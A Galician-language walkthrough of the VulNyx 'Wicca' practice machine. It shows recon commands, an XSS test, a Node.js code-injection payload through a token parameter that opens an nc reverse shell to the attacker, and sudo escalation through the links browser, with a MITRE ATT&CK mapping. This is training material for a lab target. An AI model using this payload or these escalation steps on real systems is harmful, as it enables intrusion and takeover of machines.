Ir ao contido

Doc vulnyx wicca

Máquina virtual Wicca

Fig. VulNyx Wicca
Fig. Card VulNyx Wicca

A máquina Wicca é moi interesante porque...

  • Aplicación Node.js/Express con XSS
  • RCE mediante inxección de código JavaScript (require('child_process'))
  • Escalada mediante links (navegador en modo texto)
  • Combinación de vulnerabilidades web modernas

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Wicca -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Wicca # 22,5000
whatweb IP_VulNyx_Wicca:5000
curl -I IP_VulNyx_Wicca:5000

Fase 2 — Análise

# Porto 5000 → Node.js Express
firefox http://IP_VulNyx_Wicca:5000 &

# Análise da aplicación web
# Campo de texto vulnerable a XSS
# Proba: <script>alert(1)</script>
# ⇒ Funciona (XSS confirmado)

# Análise da URL
# Parámetro token visible
# Modificación do campo token con algo que remata en ':'
# ⇒ Obtemos mensaxe de erro que revela ruta do usuario: XXXXXXXXX

# Identificación de Node.js como backend
# Posibilidade de Remote Code Execution mediante require()

Fase 3 — Explotación

# Preparamos listener no atacante
nc -nlvp 4444

# Payload de RCE mediante parámetro token
# token=require('child_process').exec('nc -e /bin/bash IP_Atacante 4444')

# Execución do payload na URL
firefox "http://IP_VulNyx_Wicca:5000/?token=require('child_process').exec('nc -e /bin/bash IP_Atacante 4444')" &

# ⇒ Conseguimos reverse shell como usuario XXXXXXXXX
cd
cat user.txt # ⇒ Flag de usuario conseguida

Fase 4 — Post‑explotación

# Enumeración de permisos sudo
sudo -l
# User XXXXXXXXX may run the following commands on wicca:
#     (root) NOPASSWD: /usr/bin/links

# Consulta en GTFOBins(https://gtfobins.github.io/) para links
# links (navegador web en modo texto) permite executar shell desde o menú

# Explotación de links con sudo
sudo /usr/bin/links /root/root.txt
# Abre o navegador links visualizando root.txt

# Dentro de links:
# Premer ESC → Menu File → OS Shell
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida (xa visualizada en links)

Correspondencia de fases → MITRE ATT&CK — VulNyx: Wicca

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Identificación de XSS en campo de texto Cross-Site Scripting T1189 — Drive-by Compromise
T1203 — Exploitation for Client Execution
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Descubrimento de información mediante mensaxes de erro Information disclosure T1592 — Gather Victim Host Information
T1590 — Gather Victim Network Information
CWE-209 — Generation of Error Message Containing Sensitive Information
3. Explotación RCE mediante inxección de código Node.js no parámetro token Remote Code Execution / Code Injection T1190 — Exploit Public-Facing Application
T1059.007 — Command and Scripting Interpreter: JavaScript
CWE-94 — Improper Control of Generation of Code ('Code Injection')
4. Post-explotación Enumeración de permisos sudo Discovery local T1069 — Permission Groups Discovery
T1083 — File and Directory Discovery
CWE-200 — Information Exposure
Abuso de links con sudo para escalada de privilexios Abuso de mecanismos de elevación T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control